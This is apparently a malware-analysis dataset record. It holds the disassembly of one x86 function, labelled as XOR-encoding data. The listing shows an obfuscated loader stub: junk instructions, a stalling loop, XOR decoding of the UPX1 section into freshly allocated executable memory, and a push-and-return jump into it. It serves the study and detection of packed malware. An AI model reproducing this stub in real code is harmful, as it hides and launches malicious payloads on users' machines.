Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x263d4bb2
sub edx, ebx
inc ebx
or edx, edx
popal
not edx
sub edx, 0x167cff73
mov esi, 0
mov edi, eax
and ebx, ecx
add ebx, ebx
dec ebx
mov edx, edi
and ebx, ecx
and ecx, ebx
mov eax, edx
not ecx
add ecx, ecx
add esi, 1
not ecx
sub ecx, ebx
or ebx, ebx
cmp esi, 0x100f647
jne 0xa789c5
or ecx, ecx
sub ebx, ecx
sub edx, ebx
add edx, ebx
sub ebx, 0x249080cf
mov ecx, 0xa78796
sub edx, esi
or edx, edx
sub edx, esi
mov ebx, 0xa7898a
sub esi, edx
sub esi, edx
add esi, edi
mov eax, dword [ecx]
sub edi, 0x13c9d373
and esi, esi
add esi, esi
and eax, 0xff
and esi, edi
and edi, edi
xor dword [ebx], eax
mov edx, edi
add edi, 0x74da446
inc ebx
and edi, edi
sub edx, esi
mov edx, edi
inc ecx
add esi, edx
add edx, 0x46ba6ebe
cmp ebx, entry0
jl 0xa78a14
not edx
and esi, edi
inc edi
mov edi, esi
or edi, esi
sub ecx, 0x9bb198d2
sub edx, 0x9e31a9dd
mov ecx, 0x80707161
mov esi, 0xa7898e
add edx, edx
add ecx, ecx
mov esi, dword [esi]
add edx, 1
not ebx
mov ebx, edi
mov esi, dword [esi]
inc ecx
add ecx, ebx
sub edi, ecx
push esi
mov ecx, ebx
sub ecx, ebx
not ebx
mov esi, 0xa7898a
sub edi, 0xe71ee2d7
add ebx, ebx
mov esi, dword [esi]
or ebx, edx
or ecx, edi
mov esi, dword [esi]
and edx, ebx
add ebx, edx
sub esp, 4
mov dword [esp], 0xa78992
dec edx
sub edi, ecx
sub ebx, 0x62356713
call esi
dec edi
add ecx, edx
or ebx, ecx
pop esi
or edx, ebx
add ebx, ecx
not ecx
push 0xa7899f
add ecx, 0x39aa29a1
or edx, ebx
not edx
sub esp, 4
mov dword [esp], eax
mov edi, 0xc902a6fe
add ebx, 0xdb7b4930
call esi
add ebx, edx
inc edi
mov ebx, 0x14b51ca3
push 0x40
or ecx, edx
dec ebx
sub ebx, 0xa010fb3
push 0x3000
add edx, edi
sub ebx, ecx
not ecx
push 0x20000a20
add edi, 1
sub edi, 0x659c967b
dec edi
push 0
inc ecx
or edx, ecx
mov ecx, ebx
call eax
add edi, 0x426f51d8
inc ecx
sub ecx, 0x8fdb96fa
add eax, 0x2000097f
sub ecx, 0xa5b04852
mov edx, ecx
mov esi, 0xe1e8f08c
add edi, 0xead9eb91
sub ebx, 0xdc0df9b2
or ecx, ebx
mov dword [eax], esi
not edi
dec edx
sub ecx, 0xdb7946a1
mov esi, dword [eax]
not ecx
sub edx, 0xd078797a
cmp esi, 0xe1e8f08c
je 0xa78b7a
mov edx, 0
mov al, byte [edx]
add edx, ebx
and edx, ebx
mov ebx, ecx
mov edx, ebx
sub ecx, 1
add edx, 0x335c9fcd
not ebx
mov esi, section.UPX1
mov edx, 0x4eff440a
and edx, edx
sub edx, ebx
mov ecx, 0xa78795
not edx
mov ebx, 0x2fc31401
mov edi, 0
not edx
sub ebx, edx
mov eax, 0xa78796
mov ebx, 0xb13b26fd
dec ebx
mov edx, 0x13a4db75
lea eax, [edi + eax]
sub edx, 0x365302da
mov ebx, edx
mov eax, dword [eax]
and ebx, edx
mov ebx, 0xc28e16fc
and eax, 0xff
add ebx, edx
mov edx, 0xc00e1b7e
add edi, 1
mov ebx, edx
mov edx, ebx
cmp edi, 0x1f4
jne 0xa78bfb
mov edi, 0
not edx
mov edx, ebx
add ebx, 0xfb4125f0
sub edx, 0x4e0f58e2
add ebx, edx
xor dword [esi], eax
sub ebx, edx
dec ebx
dec ebx
add esi, 2
mov ebx, 0x11705c8f
not edx
mov ebx, edx
cmp esi, ecx
jl 0xa78bb3
mov edx, ebx
add edx, edx
or ebx, edx
and edx, edx
mov edx, ebx
mov ebx, 0xf9b051ee
mov eax, section.UPX1
and edi, edi
and edi, esi
add esi, 0xb9a69fb
mov ebx, section.UPX1
sub edi, 1
or edi, edi
mov edx, 0xa78795
add esi, 1
and edi, esi
add esi, 0x2397dce0
mov ecx, 0
inc esi
or edi, edi
mov cl, byte [ebx]
not esi
not esi
mov byte [eax], cl
mov esi, 0xb12e61dc
not esi
inc eax
mov edi, esi
and edi, edi
add ebx, 2
mov edi, esi
dec edi
add edi, 0xdc9e8146
cmp ebx, edx
jle 0xa78c70
dec esi
sub esi, edi
mov ebx, 0xd37fbe8c
sub edx, ebx
sub ebx, 0xc55c349
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edx, ebx
not ebx
or edx, edx
ret